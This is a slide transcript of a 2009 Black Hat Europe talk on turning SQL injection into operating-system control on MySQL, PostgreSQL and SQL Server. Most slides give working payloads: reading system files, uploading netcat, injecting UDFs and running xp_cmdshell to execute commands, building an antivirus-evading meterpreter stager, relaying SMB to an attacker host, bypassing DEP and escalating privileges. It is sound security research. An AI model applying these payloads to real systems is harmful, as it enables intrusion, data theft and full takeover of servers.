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Advanced SQL injection to operating system full control (slides)
 

Advanced SQL injection to operating system full control (slides)

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Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. ...

Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.

It's time to explore new ways to get complete control over the database management system's underlying operating system through a SQL injection vulnerability in those over-looked and theoretically not exploitable scenarios: From the command execution on MySQL and PostgreSQL to a stored procedure's buffer overflow exploitation on Microsoft SQL Server. These and much more will be unveiled and demonstrated with my own tool's new version that I will release at the Conference (http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele).

These slides have been presented at Black Hat Euroe conference in Amsterdam on April 16, 2009.

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  • SQL Server 2000 by default runs as 'system' and hence the smb relay attack mentioned in your slide will fail(slide 50).

    Very nice talk, looking forward to use the overflow in SQL server.
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    Advanced SQL injection to operating system full control (slides) Advanced SQL injection to operating system full control (slides) Presentation Transcript

    • Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães Black Hat Briefings Europe Amsterdam (NL) – April 16, 2009
    • Who I am Bernardo Damele Assumpção Guimarães: • Proud father • IT security engineer • sqlmap lead developer • MySQL UDF repository developer 2
    • SQL injection definition • SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL statements • It is a common threat in web applications that lack of proper sanitization on user- supplied input used in SQL queries 3
    • SQL injection techniques • Boolean based blind SQL injection: par=1 AND ORD(MID((SQL query), Nth char, 1)) > Bisection num-- • UNION query (inband) SQL injection: par=1 UNION ALL SELECT query-- • Batched queries SQL injection: par=1; SQL query;-- 4
    • How far can an attacker go by exploiting a SQL injection? 5
    • Scope of the analysis • Three database software: – MySQL on Windows – PostgreSQL on Windows and Linux – Microsoft SQL Server on Windows • Three web application languages: – ASP on Microsoft IIS, Windows – ASP.NET on Microsoft IIS, Windows – PHP on Apache and Microsoft IIS 6
    • Batched queries • In SQL, batched queries are multiple SQL statements, separated by a semicolon, and passed to the database • Example: SELECT col FROM table1 WHERE id=1; DROP table2; 7
    • Batched queries support Programming languages and their DBMS connectors default support for batched queries 8
    • File system read access 9
    • File read access on MySQL • LOAD_FILE() function can be used to read either a text or a binary file • Session user must have these privileges: – FILE – CREATE TABLE for the support table 10
    • File read access on MySQL Via batched queries SQL injection technique: SELECT HEX(LOAD_FILE('C:/example.exe')) INTO DUMPFILE 'C:/WINDOWS/Temp/hexkflwl'; CREATE TABLE footable(data longtext); LOAD DATA INFILE 'C:/WINDOWS/Temp/hexkflwl' INTO TABLE footable FIELDS TERMINATED BY 'MFsIgeUPsa' (data); 11
    • File read access on MySQL Via any SQL injection enumeration technique: • Retrieve the length of the support table's field value • Dump the support table's field value in chunks of 1024 characters On the attacker box: • Assemble the chunks into a single string • Decode it from hex and write on a local file 12
    • File read access on PostgreSQL • COPY statement can be used to read a text file – User-defined function can be used to read a binary file • Session user must be a super user to call this statement 13
    • File read access on PostgreSQL Via batched queries SQL injection technique: CREATE TABLE footable(data bytea); COPY footable(data) FROM '/etc/passwd'; 14
    • File read access on PostgreSQL Via any SQL injection enumeration technique: • Count the number of entries in the support table • Dump the support table's field entries base64 encoded via ENCODE() function On the attacker box: • Assemble the entries into a single string • Decode it from base64 and write on a local file 15
    • File read access on MS SQL Server • BULK INSERT statement can be abused to read either a text or a binary file and save its content on a table text field • Session user must have these privileges: – INSERT – ADMINISTER BULK OPERATIONS – CREATE TABLE 16
    • File read access on MS SQL Server Via batched queries SQL injection technique: CREATE TABLE footable(data text); CREATE TABLE footablehex(id INT IDENTITY(1, 1) PRIMARY KEY, data VARCHAR(4096)); BULK INSERT footable FROM 'C:/example.exe' WITH (CODEPAGE='RAW', FIELDTERMINATOR='QLKvIDMIjD', ROWTERMINATOR='dqIgILsFoi'); 17
    • File read access on MS SQL Server […] WHILE (@counter <= @length) BEGIN […] SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(data,@counter,1)) FROM footable)) […] SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) […] INSERT INTO footablehex(data) VALUES(@hexstr) END […] 18
    • File read access on MS SQL Server Via any SQL injection enumeration technique: • Count the number of entries in the support table table2 • Dump the support table table2's varchar field entries sorted by the integer primary key On the attacker box: • Assemble the entries into a single string • Decode it from hexadecimal and write on a local file 19
    • File system write access 20
    • File write access on MySQL • SELECT … INTO DUMPFILE clause can be used to write files • Session user must have these privileges: – FILE – INSERT, UPDATE and CREATE TABLE for the support table 21
    • File write access on MySQL On the attacker box: • Encode the local file content to its corresponding hexadecimal string • Split the hexadecimal encoded string into chunks long 1024 characters each 22
    • File write access on MySQL Via batched queries SQL injection technique: CREATE TABLE footable(data longblob); INSERT INTO footable(data) VALUES (0x4d5a90…610000); UPDATE footable SET data=CONCAT(data, 0xaa270000…000000); […]; SELECT data FROM footable INTO DUMPFILE 'C:/WINDOWS/Temp/nc.exe'; 23
    • File write access on PostgreSQL • Large Object’s lo_export() function can be abused to write remote files on the file system • Session user must be a super user to call this statement 24
    • File write access on PostgreSQL On the attacker box: • Encode the local file content to its corresponding base64 string • Split the base64 encoded string into chunks long 1024 characters each 25
    • File write access on PostgreSQL Via batched queries SQL injection technique: CREATE TABLE footable(data text); INSERT INTO footable(data) VALUES ('TVqQ…'); UPDATE footable SET data=data||'U8pp…vgDw'; […] SELECT lo_create(47); UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM footable), 'base64')) WHERE loid=47; SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe'); 26
    • File write access on MS SQL Server • Microsoft SQL Server can execute commands: xp_cmdshell() EXEC xp_cmdshell('echo … >> filepath') • Session user must have CONTROL SERVER privilege • On the attacker box: – Split the file in chunks of 64Kb – Convert each chunk to its plain text debug script format 27
    • File write access on MS SQL Server Example of nc.exe: 00000000 4D 5A 90 00 03 00 00 00 00000008 04 00 00 00 FF FF 00 00 […] As a plain text debug script: n qqlbc // Create a temporary file rcx // Write the file size in f000 // the CX registry f 0100 f000 00 // Fill the segment with 0x00 e 100 4d 5a 90 00 03 […] // Write in memory all values e 114 00 00 00 00 40 […] […] w // Write the file to disk q // Quit debug.exe 28
    • File write access on MS SQL Server Via batched queries SQL injection technique: • For each debug script: EXEC master..xp_cmdshell ' echo n qqlbc >> C:WINDOWSTempzdfiq.scr & echo rcx >> C:WINDOWSTempzdfiq.scr & echo f000 >> C:WINDOWSTempzdfiq.scr & echo f 0100 f000 00 >> C:WINDOWSTempzdfiq.scr & […]' 29
    • File write access on MS SQL Server EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & debug < C:WINDOWSTempzdfiq.scr & del /F C:WINDOWSTempzdfiq.scr & copy /B /Y netcat+qqlbc netcat' EXEC master..xp_cmdshell ' cd C:WINDOWSTemp & move /Y netcat C:/WINDOWS/Temp/nc.exe' 30
    • Operating system access 31
    • User-Defined Function • In SQL, a user-defined function is a custom function that can be evaluated in SQL statements • UDF can be created from shared libraries that are compiled binary files – Dynamic-link library on Windows – Shared object on Linux 32
    • UDF injection On the attacker box: • Compile a shared library defining two UDF: – sys_eval(cmd): executes cmd, returns stdout – sys_exec(cmd): executes cmd, returns status • The shared library can also be packed to speed up the upload via SQL injection: – Windows: UPX for the dynamic-link library – Linux: strip for the shared object 33
    • UDF injection Via batched queries SQL injection technique: • Upload the shared library to the DBMS file system • Create the two UDF from the shared library • Call either of the UDF to execute commands 34
    • UDF injection on MySQL UDF Repository for MySQL • lib_mysqludf_sys shared library: – Approximately 6Kb packed – Added sys_eval() to return command standard output – Compliant with MySQL 5.0+ – Works on all versions of MySQL from 4.1.0 – Compatible with both Windows or Linux 35
    • UDF injection on MySQL Via batched queries SQL injection technique: • Fingerprint MySQL version • Upload the shared library to a file system path where the MySQL looks for them CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll'; 36
    • UDF injection on PostgreSQL Ported MySQL shared library to PostgreSQL • lib_postgresqludf_sys shared library: – Approximately 6Kb packed – C-Language Functions: sys_eval() and sys_exec() – Compliant with PostgreSQL 8.2+ magic block – Works on all versions of PostgreSQL from 8.0 – Compatible with both Windows or Linux 37
    • UDF injection on PostgreSQL Via batched queries SQL injection technique: • Fingerprint PostgreSQL version • Upload the shared library to any file system path where PostgreSQL has rw access CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'libudflenpx.dll', 'sys_exec' LANGUAGE C […]; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'libudflenpx.dll', 'sys_eval' LANGUAGE C […]; 38
    • Command exec on MS SQL Server xp_cmdshell() stored procedure: • Session user must have sysadmin role or be specified as a proxy account • Enabled by default on MS SQL Server 2000 or re-enabled via sp_addextendedproc 39
    • Command exec on MS SQL Server • Disabled by default on MS SQL Server 2005 and 2008, it can be: – Re-enabled via sp_configure – Created from scratch using shell object 40
    • Out-of-band connection 41
    • OOB connection definition Contrary to in-band connections (HTTP), it uses an alternative channel to return data This concept can be extended to establish a full- duplex connection between the attacker host and the database server • Over this channel the attacker can have a command prompt or a graphical access (VNC) to the DBMS server 42
    • A good friend: Metasploit • Metasploit is a powerful open source exploitation framework – Post-exploitation in a SQL injection scenario • SQL injection as a stepping stone for OOB channel using Metasploit can be achieved – Requires file system access and command execution via in-band connection – already achieved 43
    • OOB via payload stager On the attacker box: • Forge a stand-alone payload stager with msfpayload • Encode it with msfencode to bypass AV • Pack it with UPX to speed up the upload via SQL injection if the target OS is Windows 44
    • OOB via payload stager Example of payload stager creation and encode: $ msfpayload windows/meterpreter/bind_tcp EXITFUNC=process LPORT=31486 R | msfencode -e x86/shikata_ga_nai -t exe -o stagerbvdcp.exe Payload stager compression: $ upx -9 –qq stagerbvdcp.exe The payload stager size is 9728 bytes, as a compressed executable its size is 2560 bytes 45
    • OOB via payload stager On the attacker box: • Run msfcli with multi/handler exploit Via batched queries SQL injection technique: • Upload the stand-alone payload stager to the file system temporary folder of the DBMS • Execute it via sys_exec() or xp_cmdshell() 46
    • SMB authentication relay attack • Initially researched by Dominique Brezinski back in 1996, presented at Black Hat USA in 1997 • Patched by Microsoft on November 11, 2008 – MS08-068 – It prevents the relaying of challenge keys back to the same host which issued them 47
    • SMB relay via SQL injection • Metasploit has an exploit for this vulnerability – Launch the exploit on the attacker box and wait for incoming SMB connections • The database server must try to authenticate to the SMB exploit – UNC path request can be abused 48
    • SMB relay via SQL injection • MySQL – runs as Local System, no challenge-response password hashes sent: SELECT LOAD_FILE('attackerfoo.txt') • PostgreSQL – runs as postgres user, unprivileged: CREATE TABLE table(col text); COPY table(col) FROM 'attackerfoo.txt' 49
    • SMB relay via SQL injection • Microsoft SQL Server: EXEC master..xp_dirtree 'attackerfoo.txt' – Session user needs only EXECUTE privilege on the stored procedure – default – SQL Server 2000 runs as Administrator by default – attack is successful – SQL Server 2005 and 2008 run often as Network Service – attack is unsuccessful 50
    • Stored procedure buffer overflow • Discovered by Bernhard Mueller on December 4, 2008 – sp_replwritetovarbin heap-based buffer overflow on Microsoft SQL Server 2000 SP4 and Microsoft SQL Server 2005 SP2 • Patched by Microsoft on February 10, 2009 – MS09-004 51
    • Buffer overflow exploit • Session user needs only EXECUTE privilege on the stored procedure – default • Guido Landi wrote the first public stand- alone exploit for this vulnerability – I added support for multi-stage payload and integrated it in sqlmap 52
    • Data Execution Prevention • DEP is a security feature that prevents code execution in memory pages not marked as executable • It can be configured to allow exceptions • Default settings allow exceptions: – Windows 2003 SP1+: OptOut – Windows 2008 SP0+: OptOut 53
    • Bypass DEP • When it is set to OptOut: – Exception for sqlservr.exe in the registry • Via bat file by calling reg • Via reg file by passing it to regedit • Via master..xp_regwrite – Upload and execute a bat file which executes sc to restart the process 54
    • Privilege escalation 55
    • Windows Access Token abuse • OS user privilege escalation via Windows Access Token abuse is possible also via SQL injection • If the database process’ user has access tokens, they can be abused to execute commands as another user, depending on its token handlers 56
    • Meterpreter extension: incognito • Luke Jennings’ incognito extension for Meterpreter can enumerate user’s access tokens and impersonate a specific token • Privilege escalation to Administrator or Local System if the corresponding token handler is within the thread of the process where meterpreter is running 57
    • Churrasco • Churrasco is a stand-alone executable to abuse Access Tokens developed by Cesar Cerrudo – Brute-forces the token handlers within the current process – Runs the provided command with the brute-forced SYSTEM token 58
    • Access Token abuse via SQL injection • Network Services has access tokens – Microsoft SQL Server 2005 and 2008 • Churrasco can be uploaded to the database server file system and used in the context of the out-of-band connection attack to execute the payload stager as SYSTEM 59
    • Credits • Guido Landi • Alberto Revelli • Alessandro Tanasi • Metasploit development team • More acknowledgments and references on the white paper 60
    • Questions? 61
    • Thanks for your attention! Bernardo Damele Assumpção Guimarães bernardo.damele@gmail.com http://bernardodamele.blogspot.com http://sqlmap.sourceforge.net 62